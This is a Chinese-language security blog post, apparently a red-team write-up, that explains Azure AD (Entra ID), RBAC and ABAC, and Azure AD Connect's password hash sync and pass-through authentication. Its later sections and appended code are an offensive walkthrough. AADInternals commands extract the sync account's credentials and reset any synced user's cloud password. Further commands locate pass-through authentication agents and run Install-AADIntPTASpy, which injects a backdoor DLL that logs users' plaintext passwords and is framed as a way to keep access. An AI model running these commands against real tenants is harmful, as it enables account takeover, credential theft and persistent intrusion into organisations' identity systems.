Azure AD,是微软提供的一种基于云的身份和访问管理 (IAM) 解决方案。它可以帮助组织安全地管理员工、合作伙伴和客户对应用程序和资源的访问。
注:2023 年 6 月 21 日起,Azure AD,现在正式更名为 Microsoft Entra ID,但是以下,我还是将他称为 AzureAD。
Microsoft Azure ID 的主要功能包括:

这是一个很有趣的问题,1首先分清楚两者之间的一个功能性概念。
AD:“Active Directory"的缩写,简单来说就是本地域服务,Windows Active Directory 主要使用 Kerberos 身份验证协议和 LDAP ,基于访问控制列表 ACL 作为其目录服务的一部分对用户进行身份验证。
AAD:”Azure Active Directory”利用的是 SAML、OAuth 2.0、OpenID Connect 协议基于角色访问控制 RBAC 模型和条件访问控制来完成。
| 特性 | Windows AD(Active Directory) | Azure AD(Microsoft Entra ID) |
|---|---|---|
| 部署类型 | 本地部署,需要在组织的服务器上安装和维护 | 云部署,由 Microsoft 托管和维护 |
| 主要用途 | 管理本地 Windows 环境中的用户、计算机和资源,例如文件服务器、打印机和应用程序 | 管理云应用程序和资源的访问,例如 Microsoft 365、Azure 服务和 SaaS 应用程序 |
| 身份验证协议 | Kerberos、NTLM | SAML、WS-Federation、OAuth 2.0、OpenID Connect |
| 目录结构 | 基于树状结构的组织单位 (OU) | 基于扁平结构的组 |
| 组策略 | 支持组策略对象 (GPO),用于集中管理 Windows 设置和配置 | 不直接支持组策略,但可以使用 Intune 等工具实现类似功能 |
| 访问控制 | 基于访问控制列表 (ACL) | 基于角色的访问控制 (RBAC) 和条件访问策略 |
| 单点登录 (SSO) | 支持本地应用程序的 SSO,但需要额外的配置 | 支持云应用程序的 SSO,通常开箱即用 |
| 多重身份验证 (MFA) | 支持 MFA,但需要额外的配置 | 支持 MFA,并且易于配置 |
| 自助服务 | 支持自助服务密码重置和解锁帐户,但需要额外的配置 | 支持自助服务密码重置、解锁帐户和注册设备,通常开箱即用 |
| 许可模式 | 通常作为 Windows Server 操作系统的一部分提供,需要购买 Windows Server 许可证 | 提供免费版和付费版,付费版提供更多高级功能 |
| 适用场景 | 适用于主要使用本地 Windows 应用程序和资源的组织,或者需要严格控制本地环境的组织 | 适用于主要使用云应用程序和资源的组织,或者需要灵活、可扩展的身份和访问管理解决方案的组织 |
| 集成 | 可以与 Azure AD 集成,实现混合身份管理 | 可以与 Windows AD 集成,实现混合身份管理 |
| 其他功能 | 提供其他功能,如 DNS、DHCP 和证书服务 | 提供其他功能,如设备管理、应用程序代理、自助服务组管理和动态组 |
所以 AD 和 AAD 不是一个完全相同的东西,唯一的相同之处就是都是一个提供信任服务的模式。
传统的 AD 模式更适合引管理本地域计算机,而 AAD 模式更适合管理需要频繁用到云上资源的场景。
这里又申引出来一个概念,即 Azure AD 和 Azure 的关系。
Azure 是微软家族很大的一个云服务平台,而 AzureAD 只是其中的一个产品之一。


从上述的图中我们可以看出 Azure 和 Azure AD 还有资源组之间的关系,
假设一个场景用户采用了混合身份环境,并且 office365 模式,那么 Azure AD 是负责云端身份验证,Azure AD 为 Office 365 提供身份验证和授权服务,其中通过 RBAC 模型来确定用户对 Azure 资源的访问权限,如果正确即可通过 Azure AD 的凭据登录 Office 365。
那么什么是 RBAC 模型,我们接着往下看。
RBAC 是基于角色的访问控制服务,用于管理用户对 Azure 资源的访问,包括他们可以对这些资源做什么以及他们可以访问哪些区域。
RBAC 的核心概念:

这张图展示了 Azure 基于角色的访问控制(RBAC)的工作原理,详细说明如下:
1. 安全主体(Security Principal):
2. 角色定义(Role Definition):
3. 角色分配(Role Assignment):
4. 作用域(Scope):

同时一个一个 User/Group 是可以被多个 Role 所绑定的。
ABAC 是另一种访问控制模型,与 RBAC 相比,它提供了更细粒度、更灵活的权限管理方式。
ABAC 的核心概念:
我用一个图来解释这种行为:

逻辑关系就是:
只有当以下三个条件同时满足时,才允许访问市场数据:
我认为这一块和基于资源的约束委派定义差不多。
Azure AD Connect 是微软提供的一个工具,用于在本地 Active Directory (AD) 和 Azure Active Directory (Azure AD) 之间建立混合身份集成。
Azure AD Connect 功能:
密码哈希同步 (PHS) 是 AzureAD Connect 的一项功能- 它是最容易实现的身份验证选项,也是默认选项。PHS 的工作方式是,每当在本地更改密码时,来自 Active Directory 的密码哈希就会同步到 Azure AD 中。
注意点一点是,通过 Azure AD 修改用户密码时,新的密码不会同步回本地 AD。PHS 机制是单向的,仅支持将本地 AD 的密码哈希值同步到 Azure AD,而不支持从 Azure AD 同步回本地 AD。要使密码在 Azure AD 和本地 AD 之间双向同步,需使用其他机制如密码写回 (Password Writeback) 功能。然而,密码写回功能需要 Azure AD Premium P1 或 P2 许可证,并且需要在 Azure AD Connect 中配置。
他的原理如下:
同步操作会半小时进行一次,当加入混合模式后,会发生什么?



新增了一个 MSQL 标志的用户,当我们查看他拥有权限的时候会发生什么。

值得注意的是,此用户并不会同步到 AAD 里面去。
Azure AD Connect 默认会排除以下类型的账户:
Administrator 这一点可以 Get-ADSyncRule 来获取同步用户的规则。

所有 AD 域环境中的 Administrator、Guest 和 krbtgt 账户是不会同步上去的。
这些规则的设计目的是为了避免将一些系统账户、来宾账户或高权限账户同步到 Azure AD,从而保护 Azure AD 的安全性和稳定性。
如本文前面所述,Azure AD Connect 在本地 Active Directory 上创建了一个同步帐户。
由于他负责将用户密码哈希的哈希发送到云端,因此该用户在域上具有复制权限。
我们来看看他如何同步密码:

这段代码定义了一个名为 PasswordHashGenerator 的类,它是 ClearPasswordHashGenerator 的子类。PasswordHashGenerator 主要作用是生成密码哈希值,用于在 Azure AD Connect 中同步密码。

重新哈希过程由 OrgIdHashGenerator 类中的方法处理,OrgIdHashGenerator 类会对加盐后的哈希值应用 SHA256 算法,重复 1000 次。每次哈希都会将上一次的结果作为输入,从而产生一个更复杂、更难以破解的最终哈希值。
我们来验证一下此过程,为了方便演示,我这里新增了一个 AD 域用户“lihua009”

然后强制发起一次同步流程。

dnspy 也已经停留在下断点的地方

来比较一下是否一致,

那么之前我们提到的 配置 PHS 之后会自动创建两个用户。
MSQL会自动在本地 AD 中创建。此帐户被赋予_目录同步帐户角色(参见文档),这意味着它*在本地 AD 中具有复制(DCSync)权限_。
Sync是在 Azure AD 中创建一个帐户。此帐户可以重置 Azure AD 中任何用户(同步或仅限云)*的密码**

这两个特权帐户的密码存储在安装 Azure AD Connect 的服务器上的 SQL 服务器中。
数据库位于。C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf
ADsync 用户在本地是以服务账户进行启动的,参考如下:

Azure AD Connect 服务利用名为 NT SERVICE\ADSync 的虚拟服务帐户来执行服务进程 (miiserver.exe)。
当你拥有管理员权限并且在安装了 Azure AD Connect 的服务器上,就可以执行相关的命令。
可以使用 AADInternals 进行提取,如下图:

获取到这些 sync 的凭据之后,可以直接利用令牌更改任何经过 AAD 同步用户的密码,如下:





# 现在可以使用新密码访问 Azure AD,使用旧密码访问 op-prem(密码更改不同步)
因为我们是模拟了票据从 AAD 进行的密码修改,也没有开启密码写回,所以修改的此用户密码是无法登陆本地 AD 的。

那么我们总结一下 PHS 的一个概述
同步流程:
工作流程:
验证过程:
当用户尝试登录 Azure AD 资源(如 Office 365、Azure 门户等)时,身份验证过程如下:
同步机制:
QA:
来自文档: Azure Active Directory (Azure AD) Pass-through Authentication 允许用户使用相同的密码登录本地和基于云的应用程序。此功能为用户提供了更好的体验——少记一个密码,并减少了 IT 帮助台的成本,因为用户不太可能忘记如何登录。当用户使用 Azure AD 登录时,此功能直接针对本地 Active Directory 验证用户的密码。
在 PTA 中,身份是同步的,但密码不像在 PHS 中那样同步。
身份验证在本地 AD 中验证,与云的通信由运行在本地服务器上的身份验证代理完成(不需要在本地 DC 上)。
需要在 azure 中切换用户登陆方法为直通身份验证模式,如下图:



官方的建议是在大型域情况下设置 4 台以上的 PTA 代理服务器,同时这些服务器的安全性建议设置为最高(当然 PTA 服务器越多,存在的可能攻击面就越大。)
该 PTA 服务器关键进程如下:C:\Program Files\Microsoft Azure AD Connect Authentication Agent

其中负责同步的进程 AzureADConnectAuthenticationAgentService.exe
在进程的方法打个断点后发起一次强制流程看看。

那么 PTS 是如何进行逻辑验证的呢,可以先看看他的代码,大概流程如下:
代码说明:
ActiveDirectoryDomainContext 类:
Domain 属性: 存储域名。Domain 属性和 nativeMethodWrapper 字段。ValidateCredentials 方法:
userPrincipalName 和 password 是否有效。LogonUser 方法登录用户。errorCode 并记录日志。LogonUser 方法:
nativeMethodWrapper 的 LogonUser 方法进行用户登录。SafeCloseHandle 资源。ValidateDomainName 方法:
. 则记录错误并返回 false。LOGON32_PROVIDER_DEFAULT, LOGON32_LOGON_NETWORK, InvalidDomainNameErrorFormat, 和 SuccessCode 是常量定义,用于登录操作和错误处理。nativeMethodWrapper 用于封装对本地方法的调用。
这意味着,当用户通过配置了 PTA 的 Azure AD 输入密码时,他们的凭据是以未加密的形式传输到 PTA 上,然后 PTA 根据 Active Directory 对其进行验证。那么,如果我们入侵了负责 Azure AD Connect 的服务器会怎么样?
显而易见,可以控制整个 PTA 服务器,并且所有通过该代理端点登陆的信息都会被截取。
正如前面所说的,这套流程会将本地的域信息通过 PTA 进行连接起来,那么特定情况下的攻击面就如下了:
当实际行动中拿到了运行 PTA 的代理服务器,并且有本地管理员的权限下可以进行后门做权限维持,其中,进程名为:AzureADConnectAuthenticationAgentService.exe。
查找 AAD 中存在的 PTA 代理信息:

实际作战中可以先找这些 PTA 机器作为维权的优先流程。

参考:https://aadinternals.com/aadinternals/#hack-functions-pass-through-authentication-pta
使用该命令后会创建一个隐藏文件夹 (C:\PTASPy),并将 PTASpy.dll 复制到那里。
然后将 PTASpy.dll 注入正在运行的 AzureADConnectAuthenticationAgentService.exe。
安装后,PTASpy 会收集所有使用的凭据, 并将其与 Base64 编码的密码一起存储到 C:\PTASpy\PTASpy.csv。
值得一提的是,该 PTA 是默认后门的功能,没有去判断密码的正确。

也可以使用使用 Get-AADIntPTASpyLog 读取明文的密码。

未完待续。
# 获取全局管理员列表
$globalAdmins = Get-AADIntGlobalAdmins
Write-Output $globalAdmins
# 获取所有用户
$users = Get-AADIntUsers -AccessToken $token
Write-Output $users
# 获取指定用户的 ImmutableId,替换为你的实际用户
$userPrincipalName = "lihua009@5tgyh1.onmicrosoft.com"
$user = Get-AADIntUser -UserPrincipalName $userPrincipalName | Select-Object -Property ImmutableId
Write-Output $user
# 使用 ImmutableId 重置用户密码,替换为你需要的新密码
$newPassword = "AbcdPass12343!@#"
Set-AADIntUserPassword -SourceAnchor $user.ImmutableId -Password $newPassword -Verbose
using System;
using System.Diagnostics;
using Microsoft.ApplicationProxy.Common.Utilities.Extensions;
namespace Microsoft.ApplicationProxy.Connector.DirectoryHelpers
{
// 表示与 Active Directory 域交互的上下文。
public class ActiveDirectoryDomainContext : IDomainContext
{
// 域名属性。
public string Domain { get; private set; }
// 构造函数,初始化域上下文。
public ActiveDirectoryDomainContext(string domain, INativeMethodWrapper nativeMethodWrapper)
{
// 初始化 Domain 属性。如果域名为空或为 null,则设置为 null。
this.Domain = (string.IsNullOrEmpty(domain) ? null : domain);
// 初始化 nativeMethodWrapper 字段。
this.nativeMethodWrapper = nativeMethodWrapper;
}
// 方法,用于验证用户凭据是否与 Active Directory 域匹配。
public bool ValidateCredentials(string userPrincipalName, string password, out object errorCode)
{
bool result;
try
{
// 验证 userPrincipalName 和 password 是否为 null 或空。
userPrincipalName.ValidateNotNullOrEmpty("userPrincipalName");
password.ValidateNotNullOrEmpty("password");
// 检查域名是否有效。
if (!this.ValidateDomainName())
{
// 如果域名无效,则设置错误代码并返回 false。
errorCode = string.Format("InvalidDomainName:'{0}'", this.Domain);
result = false;
}
else
{
// 尝试使用提供的凭据登录用户。
bool flag = this.LogonUser(userPrincipalName, password);
if (flag)
{
// 如果登录成功,将错误代码设置为 0。
errorCode = 0;
}
else
{
// 如果登录失败,获取最后的 Win32 错误代码并记录警告。
errorCode = this.nativeMethodWrapper.GetLastWin32Error();
Trace.TraceWarning("Logon user failed with error: '{0}'", new object[]
{
errorCode
});
}
result = flag;
}
}
catch (Exception ex)
{
// 记录异常信息。
Trace.TraceError("Unknown Exception was thrown for domain '{0}'. Ex: '{1}'", new object[]
{
this.Domain,
ex
});
errorCode = ex.GetType().ToString();
result = false;
}
return result;
}
// 私有方法,用于使用指定的用户凭据登录。
private bool LogonUser(string userPrincipalName, string password)
{
SafeCloseHandle safeCloseHandle = null;
bool result;
try
{
// 调用 nativeMethodWrapper 的 LogonUser 方法进行登录。
result = this.nativeMethodWrapper.LogonUser(userPrincipalName, this.Domain, password, 3U, 0U, out safeCloseHandle);
}
finally
{
// 确保释放 SafeCloseHandle 资源。
if (safeCloseHandle != null)
{
safeCloseHandle.Dispose();
}
}
return result;
}
// 私有方法,用于验证域名的有效性。
private bool ValidateDomainName()
{
// 检查域名是否为 '.',如果是,则记录错误并返回 false。
if (this.Domain != null && this.Domain.Equals("."))
{
Trace.TraceError("Failed to create domain context due to invalid domain. Domain: '{0}'", new object[]
{
this.Domain
});
return false;
}
return true;
}
// 常量定义。
private const uint LOGON32_PROVIDER_DEFAULT = 0U; // 默认的登录提供程序。
private const uint LOGON32_LOGON_NETWORK = 3U; // 网络登录类型。
private const string InvalidDomainNameErrorFormat = "InvalidDomainName:'{0}'"; // 无效域名错误格式。
private const int SuccessCode = 0; // 成功代码。
// 私有字段,用于封装本地方法调用。
private readonly INativeMethodWrapper nativeMethodWrapper;
}
}
Import-Module AADInternals //导入模块
Get-AADIntProxyAgents //获取存在PTA的机器
Install-AADIntPTASpy //注入恶意后门
Get-AADIntAccessTokenForPTA -SaveToCache